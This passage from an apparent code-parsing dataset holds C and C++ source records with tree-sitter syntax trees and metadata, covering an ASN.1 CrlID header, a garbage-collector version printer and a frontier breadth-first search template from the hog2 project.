for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n}", "parent": 29, "children": [32, 33], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 29, "column": 1}}, {"id": 32, "type": "struct", "text": "struct", "parent": 31, "children": [], "start_point": {"row": 22, "column": 8}, "end_point": {"row": 22, "column": 14}}, {"id": 33, "type": "type_identifier", "text": "CrlID", "parent": 31, "children": [], "start_point": {"row": 22, "column": 15}, "end_point": {"row": 22, "column": 20}}, {"id": 34, "type": "field_declaration", "text": "IA5String_t *crlUrl /* OPTIONAL */;", "parent": 31, "children": [35, 36], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 45}}, {"id": 35, "type": "type_identifier", "text": "IA5String_t", "parent": 34, "children": [], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 15}}, {"id": 36, "type": "pointer_declarator", "text": "*crlUrl", "parent": 34, "children": [37, 38], "start_point": {"row": 23, "column": 19}, "end_point": {"row": 23, "column": 26}}, {"id": 37, "type": "*", "text": "*", "parent": 36, "children": [], "start_point": {"row": 23, "column": 19}, "end_point": {"row": 23, "column": 20}}, {"id": 38, "type": "field_identifier", "text": "crlUrl", "parent": 36, "children": [], "start_point": {"row": 23, "column": 20}, "end_point": {"row": 23, "column": 26}}, {"id": 39, "type": "field_declaration", "text": "INTEGER_t *crlNum /* OPTIONAL */;", "parent": 31, "children": [40, 41], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 43}}, {"id": 40, "type": "type_identifier", "text": "INTEGER_t", "parent": 39, "children": [], "start_point": {"row": 24, "column": 4}, "end_point": {"row": 24, "column": 13}}, {"id": 41, "type": "pointer_declarator", "text": "*crlNum", "parent": 39, "children": [42, 43], "start_point": {"row": 24, "column": 17}, "end_point": {"row": 24, "column": 24}}, {"id": 42, "type": "*", "text": "*", "parent": 41, "children": [], "start_point": {"row": 24, "column": 17}, "end_point": {"row": 24, "column": 18}}, {"id": 43, "type": "field_identifier", "text": "crlNum", "parent": 41, "children": [], "start_point": {"row": 24, "column": 18}, "end_point": {"row": 24, "column": 24}}, {"id": 44, "type": "field_declaration", "text": "GeneralizedTime_t *crlTime /* OPTIONAL */;", "parent": 31, "children": [45, 46], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 52}}, {"id": 45, "type": "type_identifier", "text": "GeneralizedTime_t", "parent": 44, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 21}}, {"id": 46, "type": "pointer_declarator", "text": "*crlTime", "parent": 44, "children": [47, 48], "start_point": {"row": 25, "column": 25}, "end_point": {"row": 25, "column": 33}}, {"id": 47, "type": "*", "text": "*", "parent": 46, "children": [], "start_point": {"row": 25, "column": 25}, "end_point": {"row": 25, "column": 26}}, {"id": 48, "type": "field_identifier", "text": "crlTime", "parent": 46, "children": [], "start_point": {"row": 25, "column": 26}, "end_point": {"row": 25, "column": 33}}, {"id": 49, "type": "field_declaration", "text": "asn_struct_ctx_t _asn_ctx;", "parent": 31, "children": [50, 51], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 30}}, {"id": 50, "type": "type_identifier", "text": "asn_struct_ctx_t", "parent": 49, "children": [], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 20}}, {"id": 51, "type": "field_identifier", "text": "_asn_ctx", "parent": 49, "children": [], "start_point": {"row": 28, "column": 21}, "end_point": {"row": 28, "column": 29}}, {"id": 52, "type": "type_identifier", "text": "CrlID_t", "parent": 29, "children": [], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 9}}, {"id": 53, "type": "declaration", "text": "extern asn_TYPE_descriptor_t CrlID_desc;", "parent": 24, "children": [54, 56, 57], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 40}}, {"id": 54, "type": "storage_class_specifier", "text": "extern", "parent": 53, "children": [55], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 6}}, {"id": 55, "type": "extern", "text": "extern", "parent": 54, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 6}}, {"id": 56, "type": "type_identifier", "text": "asn_TYPE_descriptor_t", "parent": 53, "children": [], "start_point": {"row": 32, "column": 7}, "end_point": {"row": 32, "column": 28}}, {"id": 57, "type": "identifier", "text": "CrlID_desc", "parent": 53, "children": [], "start_point": {"row": 32, "column": 29}, "end_point": {"row": 32, "column": 39}}, {"id": 58, "type": "declaration", "text": "CRYPTONITE_EXPORT asn_TYPE_descriptor_t", "parent": 24, "children": [59, 60], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 39}}, {"id": 59, "type": "type_identifier", "text": "CRYPTONITE_EXPORT", "parent": 58, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 17}}, {"id": 60, "type": "identifier", "text": "asn_TYPE_descriptor_t", "parent": 58, "children": [], "start_point": {"row": 33, "column": 18}, "end_point": {"row": 33, "column": 39}}, {"id": 61, "type": "pointer_expression", "text": "*get_CrlID_desc(void)", "parent": 24, "children": [62, 63], "start_point": {"row": 33, "column": 40}, "end_point": {"row": 33, "column": 61}}, {"id": 62, "type": "*", "text": "*", "parent": 61, "children": [], "start_point": {"row": 33, "column": 40}, "end_point": {"row": 33, "column": 41}}, {"id": 63, "type": "call_expression", "text": "get_CrlID_desc(void)", "parent": 61, "children": [64, 65], "start_point": {"row": 33, "column": 41}, "end_point": {"row": 33, "column": 61}}, {"id": 64, "type": "identifier", "text": "get_CrlID_desc", "parent": 63, "children": [], "start_point": {"row": 33, "column": 41}, "end_point": {"row": 33, "column": 55}}, {"id": 65, "type": "argument_list", "text": "(void)", "parent": 63, "children": [66], "start_point": {"row": 33, "column": 55}, "end_point": {"row": 33, "column": 61}}, {"id": 66, "type": "identifier", "text": "void", "parent": 65, "children": [], "start_point": {"row": 33, "column": 56}, "end_point": {"row": 33, "column": 60}}, {"id": 67, "type": "preproc_ifdef", "text": "#ifdef __cplusplus", "parent": 24, "children": [68, 69, 70], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 18}}, {"id": 68, "type": "#ifdef", "text": "#ifdef", "parent": 67, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 6}}, {"id": 69, "type": "identifier", "text": "__cplusplus", "parent": 67, "children": [], "start_point": {"row": 35, "column": 7}, "end_point": {"row": 35, "column": 18}}, {"id": 70, "type": "#endif", "text": "", "parent": 67, "children": [], "start_point": {"row": 35, "column": 18}, "end_point": {"row": 35, "column": 18}}, {"id": 71, "type": "#endif", "text": "#endif", "parent": 21, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 6}}, {"id": 72, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 6}}]}, "node_categories": {"declarations": {"functions": [], "variables": [29, 34, 39, 44, 49, 53, 58], "classes": [31, 32, 54], "imports": [6, 7, 9, 10, 12, 13, 15, 16, 18, 19], "modules": [], "enums": []}, "statements": {"expressions": [61, 63], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 21, 22, 23, 24, 33, 35, 38, 40, 43, 45, 48, 50, 51, 52, 56, 57, 59, 60, 64, 66, 67, 68, 69, 70, 71, 72], "returns": [], "exceptions": []}, "expressions": {"calls": [27], "literals": [8, 11, 14, 17, 20, 26], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [{"node_id": 31, "universal_type": "class", "name": "CrlID", "text_snippet": "struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL"}, {"node_id": 32, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 54, "universal_type": "class", "name": "unknown", "text_snippet": "extern"}], "import_statements": [{"node_id": 6, "text": "#include \"asn_application.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"IA5String.h\"\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include \"INTEGER.h\"\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include \"GeneralizedTime.h\"\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include \"constr_SEQUENCE.h\"\n"}, {"node_id": 19, "text": "#include"}]}, "original_source_code": "/*\n * Copyright (c) 2016 PrivatBank IT <<EMAIL>>. All rights reserved.\n * Redistribution and modifications are permitted subject to BSD license.\n */\n\n#ifndef _CrlID_H_\n#define _CrlID_H_\n\n\n#include \"asn_application.h\"\n\n/* Including external dependencies */\n#include \"IA5String.h\"\n#include \"INTEGER.h\"\n#include \"GeneralizedTime.h\"\n#include \"constr_SEQUENCE.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/* CrlID */\ntypedef struct CrlID {\n IA5String_t *crlUrl /* OPTIONAL */;\n INTEGER_t *crlNum /* OPTIONAL */;\n GeneralizedTime_t *crlTime /* OPTIONAL */;\n\n /* Context for parsing across buffer boundaries */\n asn_struct_ctx_t _asn_ctx;\n} CrlID_t;\n\n/* Implementation */\nextern asn_TYPE_descriptor_t CrlID_desc;\nCRYPTONITE_EXPORT asn_TYPE_descriptor_t *get_CrlID_desc(void);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"}
81,113
c
# include <stdio.h> # include <gc.h> int main(int argc, char ** argv) { int i; for (i = 1; i < argc; i++) { printf("gc-%d.%d.%d/%s ", GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]); } return(0); }
21.55
11
(translation_unit) "# include <stdio.h>\n# include <gc.h>\n\nint main(int argc, char ** argv)\n{\n int i;\n\n for (i = 1; i < argc; i++) {\n printf("gc-%d.%d.%d/%s ",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);\n }\n return(0);\n}\n" (preproc_include) "# include <stdio.h>\n" (#include) "# include" (system_lib_string) "<stdio.h>" (preproc_include) "# include <gc.h>\n" (#include) "# include" (system_lib_string) "<gc.h>" (function_definition) "int main(int argc, char ** argv)\n{\n int i;\n\n for (i = 1; i < argc; i++) {\n printf("gc-%d.%d.%d/%s ",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);\n }\n return(0);\n}" (primitive_type) "int" (function_declarator) "main(int argc, char ** argv)" (identifier) "main" (parameter_list) "(int argc, char ** argv)" (() "(" (parameter_declaration) "int argc" (primitive_type) "int" (identifier) "argc" (,) "," (parameter_declaration) "char ** argv" (primitive_type) "char" (pointer_declarator) "** argv" (*) "*" (pointer_declarator) "* argv" (*) "*" (identifier) "argv" ()) ")" (compound_statement) "{\n int i;\n\n for (i = 1; i < argc; i++) {\n printf("gc-%d.%d.%d/%s ",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);\n }\n return(0);\n}" ({) "{" (declaration) "int i;" (primitive_type) "int" (identifier) "i" (;) ";" (for_statement) "for (i = 1; i < argc; i++) {\n printf("gc-%d.%d.%d/%s ",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);\n }" (for) "for" (() "(" (assignment_expression) "i = 1" (identifier) "i" (=) "=" (number_literal) "1" (;) ";" (binary_expression) "i < argc" (identifier) "i" (<) "<" (identifier) "argc" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n printf("gc-%d.%d.%d/%s ",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);\n }" ({) "{" (expression_statement) "printf("gc-%d.%d.%d/%s ",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);" (call_expression) "printf("gc-%d.%d.%d/%s ",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i])" (identifier) "printf" (argument_list) "("gc-%d.%d.%d/%s ",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i])" (() "(" (string_literal) ""gc-%d.%d.%d/%s "" (") """ (string_content) "gc-%d.%d.%d/%s " (") """ (,) "," (identifier) "GC_VERSION_MAJOR" (,) "," (identifier) "GC_VERSION_MINOR" (,) "," (identifier) "GC_VERSION_MICRO" (,) "," (subscript_expression) "argv[i]" (identifier) "argv" ([) "[" (identifier) "i" (]) "]" ()) ")" (;) ";" (}) "}" (return_statement) "return(0);" (return) "return" (parenthesized_expression) "(0)" (() "(" (number_literal) "0" ()) ")" (;) ";" (}) "}"
82
0
{"language": "c", "success": true, "metadata": {"lines": 11, "avg_line_length": 21.55, "nodes": 49, "errors": 0, "source_hash": "cc374278f2846a400dc91536a2089631a5f980c576732b20020d390088c20309", "categorized_nodes": 36}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "# include <stdio.h>\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "# include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 9}}, {"id": 2, "type": "system_lib_string", "text": "<stdio.h>", "parent": 0, "children": [], "start_point": {"row": 0, "column": 10}, "end_point": {"row": 0, "column": 19}}, {"id": 3, "type": "preproc_include", "text": "# include <gc.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "# include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 9}}, {"id": 5, "type": "system_lib_string", "text": "<gc.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 10}, "end_point": {"row": 1, "column": 16}}, {"id": 6, "type": "function_definition", "text": "int main(int argc, char ** argv)\n{\n int i;\n\n for (i = 1; i < argc; i++) {\n printf(\"gc-%d.%d.%d/%s \",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);\n }\n return(0);\n}", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 12, "column": 1}}, {"id": 7, "type": "primitive_type", "text": "int", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 3}}, {"id": 8, "type": "function_declarator", "text": "main(int argc, char ** argv)", "parent": 6, "children": [9, 10], "start_point": {"row": 3, "column": 4}, "end_point": {"row": 3, "column": 32}}, {"id": 9, "type": "identifier", "text": "main", "parent": 8, "children": [], "start_point": {"row": 3, "column": 4}, "end_point": {"row": 3, "column": 8}}, {"id": 10, "type": "parameter_list", "text": "(int argc, char ** argv)", "parent": 8, "children": [11, 14], "start_point": {"row": 3, "column": 8}, "end_point": {"row": 3, "column": 32}}, {"id": 11, "type": "parameter_declaration", "text": "int argc", "parent": 10, "children": [12, 13], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 17}}, {"id": 12, "type": "primitive_type", "text": "int", "parent": 11, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 12}}, {"id": 13, "type": "identifier", "text": "argc", "parent": 11, "children": [], "start_point": {"row": 3, "column": 13}, "end_point": {"row": 3, "column": 17}}, {"id": 14, "type": "parameter_declaration", "text": "char ** argv", "parent": 10, "children": [15, 16], "start_point": {"row": 3, "column": 19}, "end_point": {"row": 3, "column": 31}}, {"id": 15, "type": "primitive_type", "text": "char", "parent": 14, "children": [], "start_point": {"row": 3, "column": 19}, "end_point": {"row": 3, "column": 23}}, {"id": 16, "type": "pointer_declarator", "text": "** argv", "parent": 14, "children": [17, 18], "start_point": {"row": 3, "column": 24}, "end_point": {"row": 3, "column": 31}}, {"id": 17, "type": "*", "text": "*", "parent": 16, "children": [], "start_point": {"row": 3, "column": 24}, "end_point": {"row": 3, "column": 25}}, {"id": 18, "type": "pointer_declarator", "text": "* argv", "parent": 16, "children": [19, 20], "start_point": {"row": 3, "column": 25}, "end_point": {"row": 3, "column": 31}}, {"id": 19, "type": "*", "text": "*", "parent": 18, "children": [], "start_point": {"row": 3, "column": 25}, "end_point": {"row": 3, "column": 26}}, {"id": 20, "type": "identifier", "text": "argv", "parent": 18, "children": [], "start_point": {"row": 3, "column": 27}, "end_point": {"row": 3, "column": 31}}, {"id": 21, "type": "declaration", "text": "int i;", "parent": 6, "children": [22, 23], "start_point": {"row": 5, "column": 4}, "end_point": {"row": 5, "column": 10}}, {"id": 22, "type": "primitive_type", "text": "int", "parent": 21, "children": [], "start_point": {"row": 5, "column": 4}, "end_point": {"row": 5, "column": 7}}, {"id": 23, "type": "identifier", "text": "i", "parent": 21, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 9}}, {"id": 24, "type": "for_statement", "text": "for (i = 1; i < argc; i++) {\n printf(\"gc-%d.%d.%d/%s \",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);\n }", "parent": 6, "children": [25, 29, 33], "start_point": {"row": 7, "column": 4}, "end_point": {"row": 10, "column": 5}}, {"id": 25, "type": "assignment_expression", "text": "i = 1", "parent": 24, "children": [26, 27, 28], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 14}}, {"id": 26, "type": "identifier", "text": "i", "parent": 25, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 10}}, {"id": 27, "type": "=", "text": "=", "parent": 25, "children": [], "start_point": {"row": 7, "column": 11}, "end_point": {"row": 7, "column": 12}}, {"id": 28, "type": "number_literal", "text": "1", "parent": 25, "children": [], "start_point": {"row": 7, "column": 13}, "end_point": {"row": 7, "column": 14}}, {"id": 29, "type": "binary_expression", "text": "i < argc", "parent": 24, "children": [30, 31, 32], "start_point": {"row": 7, "column": 16}, "end_point": {"row": 7, "column": 24}}, {"id": 30, "type": "identifier", "text": "i", "parent": 29, "children": [], "start_point": {"row": 7, "column": 16}, "end_point": {"row": 7, "column": 17}}, {"id": 31, "type": "<", "text": "<", "parent": 29, "children": [], "start_point": {"row": 7, "column": 18}, "end_point": {"row": 7, "column": 19}}, {"id": 32, "type": "identifier", "text": "argc", "parent": 29, "children": [], "start_point": {"row": 7, "column": 20}, "end_point": {"row": 7, "column": 24}}, {"id": 33, "type": "update_expression", "text": "i++", "parent": 24, "children": [34, 35], "start_point": {"row": 7, "column": 26}, "end_point": {"row": 7, "column": 29}}, {"id": 34, "type": "identifier", "text": "i", "parent": 33, "children": [], "start_point": {"row": 7, "column": 26}, "end_point": {"row": 7, "column": 27}}, {"id": 35, "type": "++", "text": "++", "parent": 33, "children": [], "start_point": {"row": 7, "column": 27}, "end_point": {"row": 7, "column": 29}}, {"id": 36, "type": "call_expression", "text": "printf(\"gc-%d.%d.%d/%s \",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i])", "parent": 24, "children": [37, 38], "start_point": {"row": 8, "column": 6}, "end_point": {"row": 9, "column": 75}}, {"id": 37, "type": "identifier", "text": "printf", "parent": 36, "children": [], "start_point": {"row": 8, "column": 6}, "end_point": {"row": 8, "column": 12}}, {"id": 38, "type": "argument_list", "text": "(\"gc-%d.%d.%d/%s \",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i])", "parent": 36, "children": [39, 40, 41, 42, 43], "start_point": {"row": 8, "column": 12}, "end_point": {"row": 9, "column": 75}}, {"id": 39, "type": "string_literal", "text": "\"gc-%d.%d.%d/%s \"", "parent": 38, "children": [], "start_point": {"row": 8, "column": 13}, "end_point": {"row": 8, "column": 30}}, {"id": 40, "type": "identifier", "text": "GC_VERSION_MAJOR", "parent": 38, "children": [], "start_point": {"row": 9, "column": 13}, "end_point": {"row": 9, "column": 29}}, {"id": 41, "type": "identifier", "text": "GC_VERSION_MINOR", "parent": 38, "children": [], "start_point": {"row": 9, "column": 31}, "end_point": {"row": 9, "column": 47}}, {"id": 42, "type": "identifier", "text": "GC_VERSION_MICRO", "parent": 38, "children": [], "start_point": {"row": 9, "column": 49}, "end_point": {"row": 9, "column": 65}}, {"id": 43, "type": "subscript_expression", "text": "argv[i]", "parent": 38, "children": [44, 45], "start_point": {"row": 9, "column": 67}, "end_point": {"row": 9, "column": 74}}, {"id": 44, "type": "identifier", "text": "argv", "parent": 43, "children": [], "start_point": {"row": 9, "column": 67}, "end_point": {"row": 9, "column": 71}}, {"id": 45, "type": "identifier", "text": "i", "parent": 43, "children": [], "start_point": {"row": 9, "column": 72}, "end_point": {"row": 9, "column": 73}}, {"id": 46, "type": "return_statement", "text": "return(0);", "parent": 6, "children": [47], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 14}}, {"id": 47, "type": "parenthesized_expression", "text": "(0)", "parent": 46, "children": [48], "start_point": {"row": 11, "column": 10}, "end_point": {"row": 11, "column": 13}}, {"id": 48, "type": "number_literal", "text": "0", "parent": 47, "children": [], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 12}}]}, "node_categories": {"declarations": {"functions": [6, 8], "variables": [11, 14, 21], "classes": [], "imports": [0, 1, 3, 4], "modules": [], "enums": []}, "statements": {"expressions": [29, 33, 36, 43, 47], "assignments": [25], "loops": [24], "conditionals": [9, 13, 20, 23, 26, 30, 32, 34, 37, 40, 41, 42, 44, 45], "returns": [46], "exceptions": []}, "expressions": {"calls": [], "literals": [2, 5, 28, 39, 48], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "main", "text_snippet": "int main(int argc, char ** argv)\n{\n int i;\n\n for (i = 1; i < argc; i++) {\n printf(\"gc-%d."}, {"node_id": 8, "universal_type": "function", "name": "unknown", "text_snippet": "main(int argc, char ** argv)"}], "class_declarations": [], "import_statements": [{"node_id": 0, "text": "# include <stdio.h>\n"}, {"node_id": 1, "text": "# include"}, {"node_id": 3, "text": "# include <gc.h>\n"}, {"node_id": 4, "text": "# include"}]}, "original_source_code": "# include <stdio.h>\n# include <gc.h>\n\nint main(int argc, char ** argv)\n{\n int i;\n\n for (i = 1; i < argc; i++) {\n printf(\"gc-%d.%d.%d/%s \",\n GC_VERSION_MAJOR, GC_VERSION_MINOR, GC_VERSION_MICRO, argv[i]);\n }\n return(0);\n}\n"}
81,114
c
/* * FrontierBFS.h * hog2 * * Created by <NAME> on 1/29/11. * Copyright 2011. All rights reserved. * */ #ifndef FRONTIERBFS_H #define FRONTIERBFS_H #include <iostream> #include "SearchEnvironment.h" #include <ext/hash_map> #include "FPUtil.h" typedef __gnu_cxx::hash_map<uint64_t, bool, Hash64> FrontierBFSClosedList; template <class state, class action> class FrontierBFS { public: FrontierBFS() { } virtual ~FrontierBFS() {} void GetPath(SearchEnvironment<state, action> *env, state &from, state &to, std::vector<state> &thePath); void GetPath(SearchEnvironment<state, action> *env, state &from, state &to, std::vector<action> &thePath); void InitializeSearch(SearchEnvironment<state, action> *env, state &from); void InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from); bool DoOneIteration(SearchEnvironment<state, action> *env); const FrontierBFSClosedList &GetCurrentClosedList() { if (mOpen1.size() > 0) return mClosed2; if (mOpen2.size() > 0) return mClosed1; //assert(!"Open and closed are both null"); return mClosed1; } uint64_t GetNodesExpanded() { return nodesExpanded; } uint64_t GetNodesTouched() { return nodesTouched; } private: void ExpandLevel(SearchEnvironment<state, action> *env, std::deque<state> &currentOpenList, FrontierBFSClosedList &currentClosedList, std::deque<state> &nextOpenList, FrontierBFSClosedList &lastClosedList); uint64_t nodesExpanded, nodesTouched; int depth; std::deque<state> mOpen1; std::deque<state> mOpen2; FrontierBFSClosedList mClosed1; // store parent id! FrontierBFSClosedList mClosed2; // store parent id! }; template <class state, class action> void FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env, state &from) { nodesExpanded = nodesTouched = 0; mOpen1.clear(); mOpen2.clear(); mClosed1.clear(); mClosed2.clear(); mOpen1.push_back(from); depth = 0; } template <class state, class action> void FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from) { nodesExpanded = nodesTouched = 0; mOpen1.clear(); mOpen2.clear(); mClosed1.clear(); mClosed2.clear(); for (unsigned int x = 0; x < from.size(); x++) mOpen1.push_back(from[x]); depth = 0; } template <class state, class action> bool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env) { uint64_t n = nodesExpanded; if ((mOpen1.size() != 0) || (mOpen2.size() != 0)) { n = nodesExpanded; if (mOpen1.size() == 0) { std::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl; ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1); mClosed1.clear(); } else { std::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl; ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2); mClosed2.clear(); } depth++; } else { return true; } printf("Depth %d complete; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n, mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size()); if ((mOpen1.size() == 0) && (mOpen2.size() == 0)) return true; return false; } template <class state, class action> void FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env, state &from, state &to, std::vector<state> &thePath) { nodesExpanded = nodesTouched = 0; mOpen1.clear(); mOpen2.clear(); mClosed1.clear(); mClosed2.clear(); mOpen1.push_back(from); depth = 0; uint64_t n = nodesExpanded; while ((mOpen1.size() != 0) || (mOpen2.size() != 0)) { printf("Depth %d; nodes expanded %lld (%lld new); %d in memory\n", depth, nodesExpanded, nodesExpanded - n, mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size()); n = nodesExpanded; if (mOpen1.size() == 0) { ExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1); mClosed1.clear(); } else { ExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2); mClosed2.clear(); } depth++; } } template <class state, class action> void FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env, std::deque<state> &currentOpenList, FrontierBFSClosedList &currentClosedList, std::deque<state> &nextOpenList, FrontierBFSClosedList &lastClosedList) { static std::vector<state> neighbors; neighbors.resize(0); while (currentOpenList.size() > 0) { state s = currentOpenList.front(); currentOpenList.pop_front(); if (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end()) { // printf("Needed to check against current\n"); continue; } // if (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end()) // { // printf("Needed to check against last\n"); // continue; // } currentClosedList[env->GetStateHash(s)] = true; nodesExpanded++; env->GetSuccessors(s, neighbors); for (unsigned int x = 0; x < neighbors.size(); x++) { if (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end()) continue; if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end()) continue; nextOpenList.push_back(neighbors[x]); } } } template <class state, class action> void FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env, state &from, state &to, std::vector<action> &thePath) { assert(!"not defined"); } #endif
27.39
195
(translation_unit) "/*\n * FrontierBFS.h\n * hog2\n *\n * Created by <NAME> on 1/29/11.\n * Copyright 2011. All rights reserved.\n *\n */\n\n#ifndef FRONTIERBFS_H\n#define FRONTIERBFS_H\n\n#include <iostream>\n#include "SearchEnvironment.h"\n#include <ext/hash_map>\n#include "FPUtil.h"\n\ntypedef __gnu_cxx::hash_map<uint64_t, bool, Hash64> FrontierBFSClosedList;\n\ntemplate <class state, class action>\nclass FrontierBFS {\npublic:\n FrontierBFS() { }\n virtual ~FrontierBFS() {}\n void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<state> &thePath);\n void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n std::vector<action> &thePath);\n \n void InitializeSearch(SearchEnvironment<state, action> *env, state &from);\n void InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from);\n bool DoOneIteration(SearchEnvironment<state, action> *env);\n \n const FrontierBFSClosedList &GetCurrentClosedList()\n {\n if (mOpen1.size() > 0) return mClosed2;\n if (mOpen2.size() > 0) return mClosed1;\n //assert(!"Open and closed are both null");\n return mClosed1;\n }\n uint64_t GetNodesExpanded() { return nodesExpanded; }\n uint64_t GetNodesTouched() { return nodesTouched; }\nprivate:\n\n void ExpandLevel(SearchEnvironment<state, action> *env,\n std::deque<state> &currentOpenList,\n FrontierBFSClosedList &currentClosedList,\n std::deque<state> &nextOpenList,\n FrontierBFSClosedList &lastClosedList);\n \n \n uint64_t nodesExpanded, nodesTouched;\n int depth;\n \n std::deque<state> mOpen1;\n std::deque<state> mOpen2;\n FrontierBFSClosedList mClosed1; // store parent id!\n FrontierBFSClosedList mClosed2; // store parent id!\n};\n\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n state &from)\n{\n nodesExpanded = nodesTouched = 0;\n \n mOpen1.clear();\n mOpen2.clear();\n mClosed1.clear();\n mClosed2.clear();\n \n mOpen1.push_back(from); \n depth = 0;\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n std::vector<state> &from)\n{\n nodesExpanded = nodesTouched = 0;\n \n mOpen1.clear();\n mOpen2.clear();\n mClosed1.clear();\n mClosed2.clear();\n \n for (unsigned int x = 0; x < from.size(); x++)\n mOpen1.push_back(from[x]);\n depth = 0;\n}\n\ntemplate <class state, class action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)\n{\n uint64_t n = nodesExpanded;\n if 